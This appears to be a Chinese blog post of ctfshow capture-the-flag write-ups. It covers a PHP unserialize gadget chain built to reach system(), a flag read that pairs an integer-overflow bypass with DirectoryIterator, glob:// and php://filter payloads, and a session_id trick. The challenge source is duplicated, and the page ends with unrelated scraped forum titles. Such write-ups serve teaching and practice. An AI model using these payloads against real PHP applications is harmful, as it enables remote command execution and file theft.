jjzjj

ctfshow的一些wp

y1ah0的博客 2023-03-28 原文
1. ctfshow 击剑杯 esaypop(反序列化构造pop链)

题目地址:https://ctf.show/challenges

题目源码:

highlight_file (FILE);

点击查看代码
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}


error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}

审计第一步找到有用的执行函数,找到action3里面的system,发现system在action3的析构函数中,也就是需要new action()才行,跟进找到action4中的append函数中包含 echo new $ctf($show); 而__invoke()函数调用的append,所以我们需要触发action4中的invoke函数,那就需要找到能将action4当做函数执行的,action2中的__get()方法就可以将控制$p为然后将$p当做函数执行,那么现在问题变成如何触发__get()方法,刚好action4里面有一句echo $this->ran->$jia;,那么如果让$ran赋值为类action2,而action2里面没有$jia,导致了触发__get()方法,所以这里就是是入口了

pop链为:action4中的$this->ran->$jia->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);

然后再看传参,$rce就是传过来的$show,,所以$show=需要执行的命令

payload:

$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '语句';
echo urlencode(serialize($obj4));

这里的语句先执行find / -name f[A-z][0-9]_*,因为给的提示并不直接,饶了一下,直接找fA6_*是找不到的,然后发现文件名为fz3_.txt,再执行cat /fz3.txt(此处是我执行反弹shell失败了,不然的话不用踩这个文件名的坑)

ps:本体官方也有wp,不过思路有些不一样而已,这要是我想大佬咨询所得,仅当做个人学习的参考~

2. ctfhshow卷王杯 easyweb

打开通过页面源码提示获得源码

第一个绕过,让c=2^63-2=9223372036854775806(64位机),当++$c时达到int的最大值,这样$count[] = 1 就会溢出int的范围从而使得赋值失败,if语句为false

第二个绕过,使用DirectoryIterator类结合glob协议寻找flag:
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php,获得真flag的文件名

使用SplFileObject结合伪协议读取flag内容:
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag文件名

payload:
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php
2.
c=9223372036854775806&a=SplFileObject&b=php://filter/convert.base64-encode/resource=第一步得到的flag文件名

ps:还是向大佬咨询所得,太菜了,啥也不会~

3. ctfshow新春欢乐赛某些题解
  • web2
    源码如下:

    点击查看代码
    <?php
    highlight_file(__FILE__);
    session_start();
    error_reporting(0);
    
    include "flag.php";
    
    if(count($_POST)===1){
            extract($_POST);
            if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                    echo $flag;
            }
    }
    ?>
    

可以POST传一个数组进去,而$$$$$${key($_POST)}这一段代码实际就是获得传进来的数组的key,也就是键值的值...然后作为call_user_func函数的参数。而我们需要该参数可控,可以传入一对键值相等的数组不就可以达到目的了,比如传入1=1,那么最后该参数一定是1,看到代码中有个session_start();,看了下cookie有个PHPSESSID,想到session_id()函数:

那么我们可以修改PHPSESSID=HappyNewYear,然后上传session_id=session_id就可以通过if了,下面是调试环节:

这是我修改一点后的本地复现代码:

点击查看代码
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
$flag=123;
$sid = session_id();
if(count($_POST)===1){
        extract($_POST);
        $func = $$$$$${key($_POST)};
        if (call_user_func($func)==="HappyNewYear"){
                echo $flag;

        }
}

传入参数:

可以清楚看到每个环节的变量的值

有关ctfshow的一些wp的更多相关文章

  1. ruby-on-rails - 如何生成传递一些自定义参数的 `link_to` URL? - 2

    我正在使用RubyonRails3.0.9,我想生成一个传递一些自定义参数的link_toURL。也就是说,有一个articles_path(www.my_web_site_name.com/articles)我想生成如下内容:link_to'Samplelinktitle',...#HereIshouldimplementthecode#=>'http://www.my_web_site_name.com/articles?param1=value1¶m2=value2&...我如何编写link_to语句“alàRubyonRailsWay”以实现该目的?如果我想通过传递一些

  2. ruby - 找一些句子 - 2

    我想找到在某些文本中找到一些(让它是两个)句子的好方法。什么会更好-使用正则表达式或拆分方法?你的想法?应JeremyStein的要求-有一些例子示例:输入:ThefirstthingtodoistocreatetheCommentmodel.We’llcreatethisinthenormalway,butwithonesmalldifference.IfwewerejustcreatingcommentsforanArticlewe’dhaveanintegerfieldcalledarticle_idinthemodeltostoretheforeignkey,butinthis

  3. ruby block 并从 block 中返回一些东西 - 2

    我正在使用ruby​​1.8.7。p=lambda{return10;}deflab(block)puts'before'putsblock.callputs'after'endlabp以上代码输出为before10after我将相同的代码重构到这里deflab(&block)puts'before'putsblock.callputs'after'endlab{return10;}现在我收到LocalJumpError:意外返回。对我来说,这两个代码都在做同样的事情。是的,在第一种情况下我传递了一个过程,在第二种情况下我传递了一个block。但是&block将该block转换为pro

  4. ruby - 如果键存在,向散列值添加一些东西? - 2

    我在Ruby中有一个哈希:hash=Hash.new里面有一些键值对,比如说:hash[1]="One"hash[2]="Two"如果散列包含键2,那么我想将“Bananas”添加到它的值中。如果散列没有键2,我想创建一个新的键值对2=>"Bananas"。我知道我可以通过首先使用has_key?检查散列是否具有key2来做到这一点,然后采取相应的行动。但这需要一个if语句和不止一行。那么是否有一种简单、优雅的单行代码可以实现这一目标? 最佳答案 这个有效:hash[2]=(hash[2]||'')+'Bananas'如果您希望所有

  5. ruby - 使用 gmail gem 跟踪一些电子邮件 - 2

    我正在使用gmailgem发送电子邮件,我需要跟踪这些电子邮件。我该怎么做?我正在尝试搜索带有message_id的电子邮件,但它会从我的收件箱中提取所有电子邮件,而我只想要特定电子邮件的回复。这是我的实际代码:*使用message_id保存电子邮件*mail=gmail.deliver(email)Email.create(:message_id=>mail.message_id,:from=>user.email,:to=>annotation.to,:body=>annotation.content,:title=>annotation.title,:annotation=>an

  6. ruby - 一些简单的 Ruby 问题——迭代器、 block 和符号 - 2

    我的背景是PHP和C#,但我真的很想学习RoR。为此,我开始阅读官方文档。我对一些代码示例有一些疑问。第一个是迭代器:classArraydefinject(n)each{|value|n=yield(n,value)}nenddefsuminject(0){|n,value|n+value}enddefproductinject(1){|n,value|n*value}endend我理解yield的意思是“在这里执行关联的block”。令我震惊的是|value|n=each的一部分。其他block对我来说更有意义,因为它们似乎模仿C#风格的lambda:publicintsum(in

  7. ruby-on-rails - 如何将一些参数传递给默认渲染方法? - 2

    我正在使用RubyonRails3.0.10,我想将一些参数传递给默认渲染方法。也就是说,如果我有这样的代码defshow...respond_todo|format|format.html#This,bydefault,rendersthe'show.html.erb'fileendend我想传递一些参数,也许像(注意:以下不起作用)defshow...respond_todo|format|#HereIwouldliketoaddsomelocalobjectsthatwillbeavailableinthe'show.html.erb'templatefileformat.htm

  8. ruby-on-rails - 与 Authlogic 一起使用的一些好的角色授权解决方案是什么? - 2

    我正在寻找一个很好的基于角色的授权解决方案来与Authlogic一起使用。有人有什么好的建议吗?如果可能,请根据您的经验列出一些优缺点。 最佳答案 Acl9与AuthLogic配合得很好:http://github.com/be9/acl9/tree/master 关于ruby-on-rails-与Authlogic一起使用的一些好的角色授权解决方案是什么?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.c

  9. 关于ES集群信息的一些查看 - 2

    文章目录查看ES信息查看节点信息查看分片信息实际场景下ES分片及副本数量应该怎么分关于ES的灵活使用查看ES信息查看版本kibana:GET/查看节点信息GET/_cat/nodes?v解释:ip:集群中节点的ip地址;heap.percent:堆内存的占用百分比;ram.percent:总内存的占用百分比,其实这个不是很准确,因为buff/cache和available也被当作使用内存;cpu:cpu占用百分比;load_1m:1分钟内cpu负载;load_5m:5分钟内cpu负载;load_15m:15分钟内cpu负载;node.role:上图的dilmrt代表全部权限master:*代表

  10. ruby - 如何从两个哈希数组中获取联合/交叉/差异并忽略一些键 - 2

    我想从两个哈希数组中获取并集/交集/差集,例如:array1=[{:name=>'Guy1',:age=>45},{:name=>'Guy2',:age=>45}]array2=[{:name=>'Guy1',:age=>45},{:name=>'Guy3',:age=>45}]...parray1-array2=>[{:name=>"Guy2",:age=>45}]parray2-array1=>[{:name=>"Guy3",:age=>45}]parray1|array2=>[{:name=>"Guy1",:age=>45},{:name=>"Guy2",:age=>45},{:

随机推荐